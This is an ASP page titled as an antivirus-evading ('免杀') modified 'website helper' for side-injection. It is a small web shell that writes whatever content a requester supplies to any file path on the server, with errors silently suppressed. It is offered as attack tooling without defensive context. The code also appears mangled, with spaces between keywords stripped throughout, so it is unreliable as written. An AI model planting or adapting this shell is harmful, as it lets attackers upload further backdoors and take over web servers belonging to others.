<%@LANGUAGE="VBScript"CODEPAGE="936"%>
<html>
<head>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
<title>旁注-网站小助手旭方修改免杀版</title>
<styletype="text/css">
<!--
.black{
font-family:"宋体";
font-size:12px;
color:#000000;
text-decoration:none;
line-height:120%;}
-->
</style>
<styletype="text/css">
<!--
a:link{
font-family:"宋体";
font-size:12px;
color:#00CC00;
text-decoration:none;
}
a:visited{
font-family:"宋体";
font-size:12px;
color:#00CC00;
text-decoration:none;
}
a:hover{
font-family:"宋体";
font-size:12px;
color:#333333;
text-decoration:none;
}
-->
</style>
</head>
<bodybgcolor="#000000"leftmargin="0"topmargin="0"marginwidth="0"marginheight="0">
<p>
<%dimFSO%>
<%dimData%>
<%dimMyFile%>
<%onerrorresumenext%>
<%SetFSO=Server.CreateObject("Scripting.FileSystemObject")%>
<%ifTrim(request("path1"))<>""then%>
<%Data=request("path2")%>
<%SetMyFile=FSO.CreateTextFile(request("path1"),True)%>
<%MyFile.WriteData%>
<%iferr=0then%>
<%response.write"<fontcolor=#FFFF00>成功啦!:)</font>"%>
<%else%>
<%response.write"<fontcolor=#FFFF00>失败啦!:(</font>"%>
<%endif%>
<%err.clear%>
<%endif%>
<%MyFile.Close%>
<%SetMyFile=Nothing%>
<%SetFSO=Nothing%>
<%Response.write"</form>"%>
</p>
<tablewidth="100%"height="100%"border="0"cellpadding="0"cellspacing="0"bordercolor="#FFFFFF">
<tr>
<tdheight="100%">
<tablewidth="100%"border="0"cellpadding="0"cellspacing="0"bgcolor="#FFFFFF">